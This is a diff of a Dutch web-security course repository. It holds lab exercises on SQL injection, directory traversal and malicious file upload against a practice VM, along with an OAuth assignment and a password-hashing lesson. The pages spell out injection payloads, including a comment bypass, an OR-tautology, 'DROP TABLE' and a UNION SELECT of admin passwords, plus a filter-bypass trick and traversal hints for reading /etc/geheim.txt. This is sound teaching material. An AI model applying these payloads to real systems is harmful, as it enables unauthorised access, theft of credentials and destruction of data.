<p>Details over Google OAuth 2.0 kan je vinden op <a href="https://developers.google.com/identity/protocols/OAuth2" target="_blank">deze pagina</a>. Let op dat je API's eerst moet activeren in de <a href="http://console.developers.google.com/" target="_blank">Developer Console</a>. Dat is ook de plek waar je je Client ID en Client secret krijgt, die maak je aan onder APIs & auth > Credentials. Maak een nieuwe client aan voor een standaard web applicatie.</p> |
||||
|
||||
<p>Gebruik de authorisatie URL zoals die <a href="https://developers.google.com/identity/protocols/OAuth2WebServer#formingtheurl" target="_blank">hier</a> staat gedocumenteerd.</p> |
||||
|
||||
<p class="hint"><strong>Hint: </strong>Vergeet niet de juiste scope te gebruiken zodat de gebruiker ook echt toestemming kan geven voor een bepaalde API. Bij Google zijn de scopes meestal URL's. Voor Google Calendar kan je de scope bijvoorbeeld <a href="https://developers.google.com/google-apps/calendar/auth">hier</a> vinden</p> |
||||
|
||||
|
||||
<div class="question"> |
||||
<span class="question-string">Beschrijf de HTTP requests die je hebt gemaakt om de token te krijgen EN de API te gebruiken (en ook de uitkomst van die requests). Gevoelige data mag je met ***** censureren.</span> |
||||
{% include "points.html" with points=answers.answer_oauth_google_requests.points max="15" %} |
||||
<textarea class="question-input" name="answer_oauth_google_requests" style="height: 200px">{{ answers.answer_oauth_google_requests.string }}</textarea> |
||||
</div> |
||||
|
||||
<h3>Mini webapp</h3> |
||||
|
||||
<p>Maak een kleine webapplicatie in PHP of JavaScript waarmee je de requests uit de vorige opdracht automatisch uitvoert (je mag ook een OAuth framework gebruiken)</p> |
||||
|
||||
<img src="static/img/webapp1.png" class="screenshot" style="width: 40%"> |
||||
<img src="static/img/webapp2.png" class="screenshot" style="width: 40%"> |
||||
|
||||
<div class="question"> |
||||
<span class="question-string">Plak de broncode van je webapplicatie in het tekstvak</span> |
||||
{% include "points.html" with points=answers.answer_oauth_web_app.points max="20" %} |
||||
<textarea class="question-input" name="answer_oauth_web_app" style="height: 200px">{{ answers.answer_oauth_web_app.string }}</textarea> |
||||
</div> |
||||
|
||||
{% endblock %} |
@ -0,0 +1,78 @@ |
||||
<h1>Insecure Direct Object References</h1> |
||||
|
||||
<img src="/static/img/imgr.png"> |
||||
|
||||
<h2>Image site</h2> |
||||
|
||||
<p>Ons nieuwe doelwit is de site "imgr", een populaire website waar vaak meme plaatjes naar worden geüpload. Er is geen database |
||||
dus we kunnen geen SQL injection uitvoeren, en cross-site scripting is ook geen mogelijkheid meer op deze site (...toch?).</p> |
||||
|
||||
<p>We zijn geïnteresseerd in de inhoud van een bestandje wat staat in de VM: "/etc/geheim.txt". Hack de website en vind uit |
||||
wat de inhoud van dit bestandje is.</p> |
||||
|
||||
<p class="hint"> |
||||
<strong>Hint:</strong> het lijkt er op dat je niet alleen plaatjes kan uploaden...</p> |
||||
|
||||
<p class="hint"> |
||||
<strong>Hint:</strong> Zoek een manier om een eigen php script te uploaden en te runnen</p> |
||||
|
||||
<div class="question"> |
||||
<span class="question-string">Wat staat er in /etc/geheim.txt? (Het is een supersecret TODO item)</span> |
||||
</div> |
||||
|
||||
|
||||
|
||||
<h2>Image 2</h2> |
||||
<p>Ga naar "Image 2". De site heeft het probleem opgelost door de upload map te verplaatsen naar een map die niet via de webserver |
||||
bereikbaar is. De plaatjes worden nu via een speciaal image.php ( |
||||
<a href="https://git.paulwagener.nl/Paul/Security-VM/src/image/image.php">source</a>) bestandje geinclude. Daarmee heeft de site ook weer een enorm security probleem geïntroduceerd! </p> |
||||
|
||||
<p class="hint">Met een paar extra |
||||
<code>../</code> kan je file_get_contents() een hele hoop bestanden laten uitlezen!</p> |
||||
|
||||
<div class="question"> |
||||
<span class="question-string">Met welke URL kan je nu rechtstreeks de inhoud van /etc/geheim.txt uitlezen?</span> |
||||
</div> |
||||
|
||||
<p>Verander image.php in image_check_prefix.php ( |
||||
<a href="https://git.paulwagener.nl/Paul/Security-VM/src/master/image/image_check_prefix.php">source</a>) . In dit bestand is een extra beveiliging die checkt of het pad begint met de map 'uploads'</p> |
||||
|
||||
<div class="question"> |
||||
<span class="question-string">Met welke URL kan je met dit meer 'beveiligde' script de inhoud van /etc/geheim.txt uitlezen?</span> |
||||
</div> |
||||
|
||||
<p>Verander de bestandsnaam in image_remove_traversal.php ( |
||||
<a href="https://git.paulwagener.nl/Paul/Security-VM/src/master/image/image_remove_traversal.php">source</a>) , dit script heeft nu een beveiliging die alle '../' uit de string verwijderd zodat je niet meer ../ in de |
||||
URL kan gebruiken.</p> |
||||
|
||||
<p class="hint"> |
||||
<strong>Hint:</strong> Weet je nog hoe je deze beveiliging ongedaan hebt gemaakt bij die website die alle SELECT en UNION uit de |
||||
URL filterde?</p> |
||||
|
||||
<div class="question"> |
||||
<span class="question-string">Met welke URL kan je via het image_remove_traversal.php script de inhoud van /etc/geheim.txt uitlezen?</span> |
||||
</div> |
||||
|
||||
<p>Zoek op internet naar 'Directory traversal' en zoek uit wat voor technieken er nog meer mogelijk zijn.</p> |
||||
|
||||
<div class="question"> |
||||
<span class="question-string">Beschrijf hoe jij de site zou programmeren zodat alle directory traversal aanvallen niet meer mogelijk zijn.</span> |
||||
</div> |
||||
|
||||
<img src="/static/img/parent_dir.png" class="center-block"> |
||||
|
||||
<h2>Image 3</h2> |
||||
|
||||
<p>Ga naar "Image 3". imgr heeft hun site uitgebreid met extra pagina's ( |
||||
<a href="https://git.paulwagener.nl/Paul/Security-VM/src/image/index_more_pages.php">source</a>). De afbeeldingen hebben ze maar weggehaald omdat daar teveel security problemen mee waren.</p> |
||||
|
||||
<p class="hint"> |
||||
<strong>Hint:</strong> imgr zijn bezig met het maken van een inlogpagina en een registreren pagina.</p> |
||||
|
||||
<p class="hint"> |
||||
<strong>Hint:</strong> Heb je de broncode al bekeken? Die regel met |
||||
<code>include()</code> ziet er interessant uit...</p> |
||||
|
||||
<div class="question"> |
||||
<span class="question-string">Beschrijf hoe je met deze site de inhoud van /etc/geheim.txt kan achterhalen</span> |
||||
</div> |
@ -0,0 +1,7 @@ |
||||
<div class="points"> |
||||
{% if points != None %} |
||||
<i>{{ points }} van de {{ max }} punten</i> |
||||
{% else %} |
||||
<span class="question-points">{{ max }}</span> punten |
||||
{% endif %} |
||||
</div> |
@ -0,0 +1,6 @@ |
||||
<h1>Upload hier je certificate signing request (.csr):</h1> |
||||
<form enctype="multipart/form-data" method="POST"> |
||||
{% csrf_token %} |
||||
<input type="file" name="csr"> |
||||
<input type="submit"> |
||||
</form> |
@ -0,0 +1,221 @@ |
||||
<style> |
||||
code i { |
||||
color: blue; |
||||
font-style: normal; |
||||
font-weight: bold; |
||||
} |
||||
|
||||
p code { |
||||
padding: 0; |
||||
margin: 2px; |
||||
} |
||||
</style> |
||||
|
||||
<h1>Web App Security</h1> |
||||
|
||||
<p>Welkom bij de cursus Web Application Security! Deze cursus gaan we ons richten op het hacken van websites. En met die zin |
||||
komen we meteen bij een gouden regel:</p> |
||||
|
||||
<blockquote>Het hacken van websites zonder toestemming is |
||||
<strong>niet</strong> toegestaan</blockquote> |
||||
|
||||
<p>Om de opdrachten te kunnen maken krijg je toestemming om de websites in de VM te mogen hacken ;). We gaan in verschillende |
||||
manieren bekijken om in te breken op een website. Aan jullie de taak om die tijdens de workshop in de praktijk te brengen</p> |
||||
|
||||
<img src="/static/img/security_banner.jpg" style="width: 50%" class="center-block"> |
||||
|
||||
<h1>SQL injection</h1> |
||||
|
||||
<p>We beginnen bij één van de meest veelvoorkomende beveiligingslekken die er bij webapplicaties voorkomen. Dagelijks nog zijn |
||||
er |
||||
<a href="https://www.google.nl/webhp?#safe=off&tbm=nws&q=sql+injection" target="_blank">nieuwsberichten</a> van websites die hun code niet goed op orde hebben en kwetsbaar zijn tegen deze aanval. Deze week gaan |
||||
we kijken hoe deze aanval werkt en hoe je er tegen kunt beveiligen.</p> |
||||
|
||||
<p>In bijna alle webapplicatie projecten heb je te maken met een database waar je mee communiceert via SQL. Een typische query |
||||
die wordt uitgevoerd is bijvoorbeeld deze:</p> |
||||
|
||||
<code>SELECT * FROM leden WHERE naam='<i>paul</i>' AND heeftbetaald='ja'</code> |
||||
|
||||
<p>Waarbij het blauwe gedeelte invoer is uit bijvoorbeeld een GET parameter ('?naam=paul'). Er lijkt niks aan de hand, maar |
||||
als we de invoer niet zorgvuldig filteren geven de gebruiker de kans om de query op onbedoelde manier te veranderen.</p> |
||||
|
||||
<h5>Commentaar</h5> |
||||
<p>Met |
||||
<code>-- </code> (streepje, streepje, spatie) is het in SQL mogelijk om commentaar te zetten in je query, hetzelfde wat je in PHP met |
||||
<code>//</code> zou doen. Met een slim gekozen invoer kunnen we de query er zo uit laten zien:</p> |
||||
|
||||
<code>SELECT * FROM leden WHERE naam='<i>paul' -- </i>' AND heeftbetaald='ja'</code> |
||||
|
||||
<p>De database voert de query uit, maar niet zoals de gebruiker hem heeft bedoeld: alles achter de -- wordt genegeerd als commentaar. |
||||
De query zal dus ook rijen teruggeven waar |
||||
<i>heeftbetaald</i> niet op 'ja' staat, wat afhankelijk van de code van de website kan betekenen dat we gratis dingen kunnen |
||||
kopen :)</p> |
||||
|
||||
<h5>AND, OR</h5> |
||||
|
||||
<p>Een andere manier om queries te veranderen is om nieuwe logica (AND, OR) te injecteren in de SQL. We kunnen bijvoorbeeld |
||||
de volgende query maken met de juiste invoer:</p> |
||||
|
||||
<code>SELECT * FROM leden WHERE naam='<i>paul' OR 'bla'='</i>' AND heeftbetaald='ja'</code> |
||||
|
||||
<p>Deze query maakt weer het |
||||
<i>heeftbetaald='ja'</i> gedeelte nutteloos. Als de naam al overeenkomt maakt het niet uit wat er achter de OR staat, het |
||||
resultaat is altijd true (de haakjes worden als volgt geplaatst: |
||||
<code>. OR ( . AND . )</code>).</p> |
||||
|
||||
<h5>Meerdere queries</h5> |
||||
<p>Eén van de meest gevaarlijke is als het mogelijk is om compleet nieuwe queries uit te kunnen voeren op de database. Bedenk |
||||
eens wat er gebeurt als de gebruiker deze invoer geeft:</p> |
||||
|
||||
<code>SELECT naam FROM leden WHERE id=<i>0; DROP TABLE leden;</i></code> |
||||
|
||||
<p>Met |
||||
<code>;</code> geven we aan dat we een nieuwe query beginnen, waarna we vervolgens vrij zijn om elke query uit te voeren die we maar |
||||
willen. Let wel dat het uitvoeren van meerdere queries met bijvoorbeeld mysqli_query() iets is wat standaard uit staat. |
||||
Deze techniek is extra gevaarlijk omdat deze immuun is tegen escapen als het invoer is die niet tussen quotejes staat.</p> |
||||
|
||||
<h5>UNION</h5> |
||||
|
||||
<p>We kunnen met behulp van de |
||||
<a href="http://www.w3schools.com/sql/sql_union.asp" target="_blank">UNION</a> operator ook informatie halen uit andere tabellen in de database:</p> |
||||
|
||||
<code>SELECT naam FROM leden WHERE id=<i>0 UNION SELECT wachtwoord FROM admins</i></code> |
||||
|
||||
<p>De query haalt nu namen van leden op, samen met wachtwoorden uit de admins tabel. Belangrijk voor de UNION is dat beide queries |
||||
evenveel kolommen teruggeven.</p> |
||||
|
||||
<img src="/static/img/shield.png" style="float: right"> |
||||
<h4>Countermeasures</h4> |
||||
|
||||
<p>Het is niet moeilijk om bovenstaande aanvallen te voorkomen. Met een paar simpele aanpassingen kan je ervoor zorgen dat je |
||||
SQL altijd wordt uitgevoerd zoals je die bedoeld hebt.</p> |
||||
|
||||
<h5>Stored procedures</h5> |
||||
<p>Je slaat de SQL op als stored procedure in de database en roept deze aan vanuit je code. Omdat de SQL in de database staat |
||||
in plaats op de server is SQL injectie niet mogelijk</p> |
||||
|
||||
<h5>Prepared statements</h5> |
||||
<p>Dit is de meest gebruikte en veilige manier. Met vraagtekentjes geef je aan op welke plekken de invoer moet komen en die |
||||
vul je dan later in. De SQL wordt altijd uitgevoerd zoals je hem bedoeld hebt. En ook hier is SQL injectie onmogelijk. |
||||
Lees |
||||
<a href="http://php.net/manual/en/mysqli.prepare.php" target="_blank">hier</a> verder</p> |
||||
|
||||
<h5>Escaping</h5> |
||||
<p>Je kan ook alle invoer zelf escapen met functies zoals |
||||
<a href="http://php.net/manual/en/mysqli.real-escape-string.php" target="_blank">mysqli_real_escape_string()</a>. Zorg ervoor dat je dan consequent alle strings escaped met die functie en alle getallen |
||||
cast naar int's voordat je ze in je SQL plakt. Als je er ook maar eentje mist heb je al een SQL injection mogelijkheid |
||||
op je website!</p> |
||||
|
||||
<p>Op |
||||
<a href="http://www.sqltutorial.nl/artikelen/sqlinjections/soorten_sql_injection.html" target="_blank">deze site</a> kan je het allemaal extra nalezen. Maar voor nu genoeg theorie, let's HACK!</p> |
||||
|
||||
<img src="/static/img/sql_injectie.png" class="center-block"> |
||||
|
||||
<h2>Bank</h2> |
||||
<p>Bob is al jaren trouwe klant en gebruikt de site dagelijks om te kijken hoeveel geld er op zijn rekening staat. Achter op |
||||
zijn poespas pas heeft hij met een viltstift „Niet vergeten: Bob 123456” geschreven. Gebruik de site om te kijken hoeveel |
||||
geld Bob op zijn rekening heeft staan.</p> |
||||
|
||||
<p>Alice is ook klant van de bank en wij willen ook graag weten hoeveel geld zij op haar rekening heeft staan. We gaan daarom |
||||
haar rekening hacken met behulp van SQL.</p> |
||||
|
||||
<p>Ga nu aan de slag en hack het account van Alice! Gebruik hiervoor de bovenste link |
||||
<span class="website">"Bank"</span> op de startpagina van jouw virtuele machine.</p> |
||||
|
||||
<p class="hint"> |
||||
<strong>Hint 1:</strong> Kijk eerst eens wat er gebeurt als je inlogt met een enkele quote in de gebruikersnaam (').</p> |
||||
|
||||
<p class="hint"> |
||||
<strong>Hint 2:</strong> Met -- (twee streepjes gevolgd door een spatie) kan je commentaar achter een regel zetten in SQL.</p> |
||||
|
||||
<p class="hint"> |
||||
<strong>Hint 3:</strong> Bekijk de broncode achter de site: |
||||
<a href="https://git.paulwagener.nl/Paul/Security-VM/src/master/bank/index.php#L51" target="_blank">https://git.paulwagener.nl/Paul/Security-VM/src/master/bank/index.php#L51</a> |
||||
De code beschouwt een gebruiker als ingelogd als de query een rij uit de gebruikerstabel teruggeeft. Manipuleer de query |
||||
zodat deze de gegevens van Alice teruggeeft, zonder dat je het wachtwoord hoeft te weten.</p> |
||||
|
||||
<img src="/static/img/poespas.png" style="width: 70%" class="center-block"> |
||||
|
||||
<div class="question"> |
||||
<span class="question-string">Hoeveel geld heeft Alice op haar rekening staan?</span> |
||||
</div> |
||||
|
||||
<p>Waarschijnlijk heb je SQL commentaar (--) gebruikt in de vorige opdracht. Voer nu een andere SQL injectie uit door alleen |
||||
het wachtwoord veld te gebruiken. Gebruik niet de SQL commentaar techniek maar verander nu de logica van de query (AND, |
||||
OR) zodat er niet meer gecontroleerd wordt op het wachtwoord.</p> |
||||
|
||||
<div class="question"> |
||||
<span class="question-string">Met welk 'wachtwoord' lukt het altijd om in te loggen? (gebruikersnaam moet je leeglaten)</span> |
||||
</div> |
||||
|
||||
<p class="hint"> |
||||
<strong>Hint:</strong> Maak er een query van die alle gebruikers teruggeeft, de site logt dan in als de eerste gebruiker.</p> |
||||
|
||||
<div class="question"> |
||||
<span class="question-string">Bekijk de |
||||
<a href="https://git.paulwagener.nl/Paul/Security-VM/src/master/bank/index.php#L51" target="_blank">PHP broncode</a> en los het probleem op.</span> |
||||
</div> |
||||
|
||||
<p>Open de |
||||
<span class="website">"Bank (multi_query)"</span> pagina. Op deze pagina werken ook SQL Injection technieken die gebruik maken van meerdere queries |
||||
(queries gescheiden door een ; ).</p> |
||||
|
||||
<div class="question"> |
||||
<span class="question-string">Met welke |
||||
<i>"gebruikersnaam"</i> kan je (alleen) Bob miljonair maken? (Het saldo staat in een kolom "balans")</span> |
||||
</div> |
||||
|
||||
<img src="/static/img/bank_schema.png"> |
||||
|
||||
<h2>Webshop</h2> |
||||
|
||||
<p>Inloggen in een ander account is leuk. Maar echte hackers stelen kostbare data uit een website. Dat gaan we nu doen met de |
||||
webshop van Leaky's. Gebruik hiervoor de link |
||||
<span class="website">"Webshop"</span> op de startpagina van jouw virtuele machine.</p> |
||||
|
||||
<p>Je kan de broncode vinden op: |
||||
<a href="https://git.paulwagener.nl/Paul/Security-VM/src/master/webshop/product_detail.php#L62" target="_blank">https://git.paulwagener.nl/Paul/Security-VM/src/master/webshop/product_detail.php#L62</a> |
||||
</p> |
||||
|
||||
<p>Zoals je ziet hebben ze hier gebruik gemaakt van mysqli::real_escape_string(). Je kan dus geen gebruik meer maken van rare |
||||
quotejes om de query aan te passen.</p> |
||||
|
||||
<p>Maar met behulp van de UNION techniek kunnen we alsnog data stelen uit de website.</p> |
||||
|
||||
<p>In de database is er nog een tabel "gebruikers" waar gebruikersnamen en wachtwoorden in staan. Steel deze informatie uit |
||||
de database!</p> |
||||
|
||||
<p class="hint"> |
||||
<strong>Hint:</strong> Verander het cijfer in de url van de product_details.php pagina in de letter 'a' zodat je de query kan lezen. |
||||
</p> |
||||
|
||||
<img src="/static/img/webshop_schema.png"> |
||||
|
||||
<div class="question"> |
||||
<span class="question-string">Wat zijn de gebruikersnamen en wachtwoorden van de 4 gebruikers in de database? (de id's van de gebruikers zijn 1,2,3 en |
||||
4)</span> |
||||
</div> |
||||
|
||||
<div class="question"> |
||||
<span class="question-string">Bekijk de |
||||
<a href="https://git.paulwagener.nl/Paul/Security-VM/src/master/webshop/product_detail.php#L62" target="_blank">broncode</a> en verbeter deze zodat je geen SQL injection meer kan gebruiken.</span> |
||||
</div> |
||||
|
||||
<p>Open de pagina |
||||
<span class="website">"Webshop (replace)"</span>. De maker van deze website heeft extra maatregelen genomen en woorden als SELECT en UNION uit |
||||
de invoer gefilterd.</p> |
||||
|
||||
<p class="hint"> |
||||
<strong>Hint:</strong> SELSELECTECT</p> |
||||
|
||||
<div class="question"> |
||||
<span class="question-string">Met welke URL kan je nu het wachtwoord van Marco achterhalen?</span> |
||||
</div> |
||||
|
||||
<h2>Wereldwijs</h2> |
||||
|
||||
<p>Ga in de VM naar de |
||||
<span class="website">"Wereldwijs"</span> pagina. Op deze pagina kunnen studenten op spelenderwijs leren over de wereld. Maar deze site heeft |
||||
een diep donker geheim die het niet toont aan de wereld, er is een geheime pagina met id 0.</p> |
||||
|
||||
<p>Geen hints en geen broncode deze keer. Aan jullie de taak om de site te hacken (meerdere manieren mogelijk).</p> |
@ -0,0 +1,83 @@ |
||||
.url { |
||||
color: #000088; |
||||
font-family: Courier; |
||||
} |
||||
figcaption { |
||||
text-align: center; |
||||
} |
||||
|
||||
figure img { |
||||
margin-left: auto; |
||||
margin-right: auto; |
||||
} |
||||
|
||||
@media (min-width: 767px) { |
||||
#menu { |
||||
position: fixed; |
||||
} |
||||
} |
||||
|
||||
#difficulty { |
||||
width: 150px; |
||||
} |
||||
|
||||
.screenshot { |
||||
box-shadow: 0 0 10px #888; |
||||
border: 1px solid #aaa; |
||||
border-radius: 7px; |
||||
} |
||||
|
||||
body { |
||||
background-color: #e8eef7; |
||||
padding: 2em; |
||||
} |
||||
|
||||
#quiz { |
||||
padding: 1em; |
||||
background-color: white; |
||||
border: 1px solid #ccc; |
||||
} |
||||
|
||||
.question { |
||||
margin: 3em; |
||||
} |
||||
|
||||
.question-string { |
||||
font-weight: bold; |
||||
} |
||||
|
||||
.center-block { |
||||
display: block; |
||||
margin-left: auto; |
||||
margin-right: auto; |
||||
} |
||||
|
||||
textarea { |
||||
width: 75%; |
||||
height: 9em; |
||||
} |
||||
|
||||
input { |
||||
width: 75%; |
||||
} |
||||
|
||||
code.terminal { |
||||
background-color: black; |
||||
color: white; |
||||
font-family: Courier, monospace; |
||||
padding: 1em; |
||||
margin: 1em; |
||||
display: block; |
||||
white-space: normal; |
||||
} |
||||
|
||||
.argument { |
||||
font-family: Courier, monospace; |
||||
font-weight: bold; |
||||
} |
||||
|
||||
.website{ |
||||
font-style: italic; |
||||
font-variant: small-caps; |
||||
color:dodgerblue; |
||||
} |
@ -0,0 +1,2 @@ |
||||
U2FsdGVkX191ur0pmvNcmrnlem8L5S6NuQUEAurl+aSZzKQirnAfoDAf/QWYWwOx |
||||
w4wCKOGIJ9jxFrAJwqJjaA== |
After Width: | Height: | Size: 81 KiB |
After Width: | Height: | Size: 136 KiB |
After Width: | Height: | Size: 69 KiB |
After Width: | Height: | Size: 66 KiB |
After Width: | Height: | Size: 55 KiB |
After Width: | Height: | Size: 65 KiB |
After Width: | Height: | Size: 31 KiB |
After Width: | Height: | Size: 46 KiB |
After Width: | Height: | Size: 66 KiB |
After Width: | Height: | Size: 27 KiB |
After Width: | Height: | Size: 128 KiB |
After Width: | Height: | Size: 17 KiB |
After Width: | Height: | Size: 30 KiB |
After Width: | Height: | Size: 232 KiB |
After Width: | Height: | Size: 70 KiB |
After Width: | Height: | Size: 122 KiB |
After Width: | Height: | Size: 37 KiB |
After Width: | Height: | Size: 39 KiB |
After Width: | Height: | Size: 35 KiB |
After Width: | Height: | Size: 13 KiB |
After Width: | Height: | Size: 673 B |
After Width: | Height: | Size: 13 KiB |
After Width: | Height: | Size: 90 KiB |
After Width: | Height: | Size: 49 KiB |
After Width: | Height: | Size: 126 KiB |
After Width: | Height: | Size: 63 KiB |
After Width: | Height: | Size: 108 KiB |
After Width: | Height: | Size: 58 KiB |
After Width: | Height: | Size: 141 KiB |
After Width: | Height: | Size: 78 KiB |
After Width: | Height: | Size: 88 KiB |
After Width: | Height: | Size: 15 KiB |
After Width: | Height: | Size: 16 KiB |
After Width: | Height: | Size: 73 KiB |
After Width: | Height: | Size: 77 KiB |
After Width: | Height: | Size: 156 KiB |
After Width: | Height: | Size: 105 KiB |
After Width: | Height: | Size: 54 KiB |
After Width: | Height: | Size: 456 KiB |
After Width: | Height: | Size: 126 KiB |
After Width: | Height: | Size: 20 KiB |
After Width: | Height: | Size: 22 KiB |
After Width: | Height: | Size: 33 KiB |
After Width: | Height: | Size: 50 KiB |
After Width: | Height: | Size: 40 KiB |
After Width: | Height: | Size: 71 KiB |
After Width: | Height: | Size: 62 KiB |
After Width: | Height: | Size: 21 KiB |
After Width: | Height: | Size: 126 KiB |
After Width: | Height: | Size: 136 KiB |
After Width: | Height: | Size: 46 KiB |
After Width: | Height: | Size: 114 KiB |
After Width: | Height: | Size: 114 KiB |
After Width: | Height: | Size: 179 KiB |
@ -0,0 +1 @@ |
||||
"use strict";jQuery.base64=(function($){var _PADCHAR="=",_ALPHA="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/",_VERSION="1.0";function _getbyte64(s,i){var idx=_ALPHA.indexOf(s.charAt(i));if(idx===-1){throw"Cannot decode base64"}return idx}function _decode(s){var pads=0,i,b10,imax=s.length,x=[];s=String(s);if(imax===0){return s}if(imax%4!==0){throw"Cannot decode base64"}if(s.charAt(imax-1)===_PADCHAR){pads=1;if(s.charAt(imax-2)===_PADCHAR){pads=2}imax-=4}for(i=0;i<imax;i+=4){b10=(_getbyte64(s,i)<<18)|(_getbyte64(s,i+1)<<12)|(_getbyte64(s,i+2)<<6)|_getbyte64(s,i+3);x.push(String.fromCharCode(b10>>16,(b10>>8)&255,b10&255))}switch(pads){case 1:b10=(_getbyte64(s,i)<<18)|(_getbyte64(s,i+1)<<12)|(_getbyte64(s,i+2)<<6);x.push(String.fromCharCode(b10>>16,(b10>>8)&255));break;case 2:b10=(_getbyte64(s,i)<<18)|(_getbyte64(s,i+1)<<12);x.push(String.fromCharCode(b10>>16));break}return x.join("")}function _getbyte(s,i){var x=s.charCodeAt(i);if(x>255){throw"INVALID_CHARACTER_ERR: DOM Exception 5"}return x}function _encode(s){if(arguments.length!==1){throw"SyntaxError: exactly one argument required"}s=String(s);var i,b10,x=[],imax=s.length-s.length%3;if(s.length===0){return s}for(i=0;i<imax;i+=3){b10=(_getbyte(s,i)<<16)|(_getbyte(s,i+1)<<8)|_getbyte(s,i+2);x.push(_ALPHA.charAt(b10>>18));x.push(_ALPHA.charAt((b10>>12)&63));x.push(_ALPHA.charAt((b10>>6)&63));x.push(_ALPHA.charAt(b10&63))}switch(s.length-imax){case 1:b10=_getbyte(s,i)<<16;x.push(_ALPHA.charAt(b10>>18)+_ALPHA.charAt((b10>>12)&63)+_PADCHAR+_PADCHAR);break;case 2:b10=(_getbyte(s,i)<<16)|(_getbyte(s,i+1)<<8);x.push(_ALPHA.charAt(b10>>18)+_ALPHA.charAt((b10>>12)&63)+_ALPHA.charAt((b10>>6)&63)+_PADCHAR);break}return x.join("")}return{decode:_decode,encode:_encode,VERSION:_VERSION}}(jQuery)); |
@ -0,0 +1,67 @@ |
||||
$(function () { |
||||
|
||||
var changed = false; |
||||
|
||||
// Hints
|
||||
$('.hint').replaceWith(function () { |
||||
return '<div><a href="#" class="hintlink" onclick="$(this).next().slideToggle(); return false;">Bekijk hint</a>' + $(this).hide()[0].outerHTML + '</div>'; |
||||
}); |
||||
|
||||
$('#difficulty').change(function (e) { |
||||
var option = $(this).find(':selected').val(); |
||||
|
||||
|
||||
$('.hintlink').toggle(option == 'normal'); |
||||
$('.hint').toggle(option == 'easy'); |
||||
|
||||
|
||||
window.localStorage.setItem('difficulty', option); |
||||
}); |
||||
|
||||
// Set the selected property
|
||||
if (window.localStorage['difficulty']) { |
||||
var difficulty = window.localStorage['difficulty']; |
||||
} else { |
||||
var difficulty = 'normal'; |
||||
} |
||||
|
||||
$('#difficulty option').filter(function () { |
||||
return $(this).val() == difficulty; |
||||
}).prop('selected', true); |
||||
$('#difficulty').trigger('change'); |
||||
|
||||
function loadPage(page) { |
||||
$('#quiz').load('/' + page + '.html?cachebuster=' + Math.random()); |
||||
} |
||||
|
||||
function getPage(link) { |
||||
if (link.lastIndexOf('?') === -1) { |
||||
return ''; |
||||
} |
||||
return link.substring(link.lastIndexOf('?') + 1); |
||||
} |
||||
|
||||
// Dynamically load pages
|
||||
$('#menu a').click(function (e, element) { |
||||
var page = getPage(e.target.href); |
||||
|
||||
window.history.pushState({ page: page }, 'Security', e.target.href); |
||||
loadPage(page); |
||||
e.preventDefault(); |
||||
}); |
||||
|
||||
window.onpopstate = function (event) { |
||||
if (event.state) { |
||||
loadPage(event.state.page); |
||||
} else { |
||||
window.location.href = '/'; |
||||
} |
||||
} |
||||
|
||||
// Load page
|
||||
var page = getPage(window.location.href); |
||||
if (page !== '') { |
||||
loadPage(page); |
||||
} |
||||
|
||||
}); |
@ -0,0 +1,17 @@ |
||||
-----BEGIN PGP MESSAGE----- |
||||
|
||||
owEBXgKh/ZANAwACAdVV8vX6nhxaAawuYglwbGFpbi50eHRVdLQaVGhlIE5hcndo |
||||
YWwgQmFjb25zIGF0IE1pZG5pZ2h0CokCHAQAAQIABgUCVXS0GgAKCRDVVfL1+p4c |
||||
Wl31EACZ0itLnfLQrkFYGEa8DxgG6O101oc350JekBI7mIm1x556M3dIkyDTSqPd |
||||
1gY+5wE3iklSnqPAfRSskclQ5SahK7mIjRw8NoCpWGRdFT/2u15lZofqGMV23T1R |
||||
hEuxxNlZwcWEWDg2Ixx6OqE836Qm+ITaS12ok5qDZFxj4hd4C7uinAv5CWKIyvwl |
||||
l5ZwwWB4p+NT6JxY6p5Pw0J5xPVCE+pAFesPUwAYydQ5CabgdfRyjc6iMQz+GRFD |
||||
Qs7kWuZ2JKPWm+2h0UQa38Id66fd4l38x16+rerIEG8XTMlfiXgtCPT9Rkdxb8lD |
||||
bZQJefupCPP/EAQnZOPzHFbZ32PaOnp0DTLi641W24rb0hwD2LPHIRh+KPWfwaVl |
||||
+1BSEGE3STDjN0CGaTE1KDM5p5TEhML4/LwRucdp+y8c3f1gyWNd8ChnA9aCFr5w |
||||
h4FIpE1gAd6XANkVGCIHlZ0Lzxu022zjNFPW2sQeFJy1ZEqBAAwaOlnceztTyx6c |
||||
J+TNey4lYy2F4hVn/QxYF5kMUIEw22y4tMmwX4tOVkgg5I0X+mf2Csosbfz7Xsn3 |
||||
0i4utcTqwmVov3obPQj1QprBeSMXoYSJMyUCO7eIE9eqeGy0uMO6xkG3Z2QGsZNS |
||||
aAzu9msSLIc5cQWx9Pva9pafC/sFIyJWudBlf8UEkeIFSll9FQ== |
||||
=h6Mi |
||||
-----END PGP MESSAGE----- |
@ -0,0 +1,389 @@ |
||||
<h1>Wachtwoorden</h1> |
||||
|
||||
<img src="/static/img/password.png" class="center-block"> |
||||
|
||||
<p>Deze week gaan we kijken naar hoe je wachtwoorden van gebruikers veilig kan opslaan. We hebben al gezien dat het niet onmogelijk |
||||
is om data uit de database te pulken met SQL injection. Als je een kolom hebt in je database 'wachtwoord' waar je je wachtwoorden |
||||
zomaar neerzet loop je een groot risico dat een aanvaller achter alle wachtwoorden van je gebruikers komt. Gelukkig is |
||||
er ook een veilige manier om wachtwoorden op te slaan, en wel door ze te |
||||
<b>hashen</b>.</p> |
||||
|
||||
<h3>Hashfunctie</h3> |
||||
|
||||
<p>Een hashfunctie (md5, sha1 en tientallen andere) neemt een stuk data (zoals een wachtwoord) als invoer en geeft een willekeurige |
||||
uitziende string als uitvoer. De uitvoer van een hashfunctie is altijd even lang, ongeacht de lengte van de invoer.</p> |
||||
|
||||
<input type="text" onkeyup="$('#hashed').val(md5($(this).val()))" style="width: 30%;"> > md5 > |
||||
<input id="hashed" type="text" style="width: 50%;" value="d41d8cd98f00b204e9800998ecf8427e" readonly=""> |
||||
|
||||
<p>Zo'n functie lijkt misschien een nutteloos iets, want je kan van de hash niet meer terug naar de originele invoer. Maar daar |
||||
ligt juist de kracht van de hash functie: als de aanvaller een hash van het wachtwoord heeft kan hij niet terugrekenen |
||||
wat het wachtwoord was. Hash functies zijn ontzettend moeilijk is om terug te rekenen, daar zijn ze op gemaakt. Zo moeilijk |
||||
dat eigenlijk de enige 'praktische' optie is om alle mogelijke invoeren uit te proberen om te kijken of het uitkomt op |
||||
dezelfde hash (brute-force).</p> |
||||
|
||||
